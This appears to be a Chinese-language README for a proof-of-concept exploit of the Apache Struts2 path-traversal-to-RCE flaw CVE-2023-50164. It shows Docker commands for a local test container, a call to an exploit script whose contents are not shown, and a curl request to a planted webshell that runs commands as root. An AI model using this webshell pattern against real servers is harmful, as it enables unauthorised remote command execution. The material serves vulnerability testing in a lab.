
CVE-2023-50164(Apache Struts 路径遍历到远程代码执行漏洞)- 概念验证
此 PoC 旨在通过利用 Apache Struts2 漏洞来测试 RCE(远程代码执行)。

构建镜像并运行容器:
$ DOCKER_BUILDKIT=1 docker build . -t struts2-rce-poc && docker run --rm -p 8080:8080 struts2-rce-poc
运行漏洞利用程序:
$ cd exploit
$ ./exploit.sh
现在你可以在服务器端执行任意命令,如下所示:
$ curl http://localhost:8080/webshell/webshell.jsp\?cmd\=id%20-a
uid=0(root) gid=0(root) groups=0(root)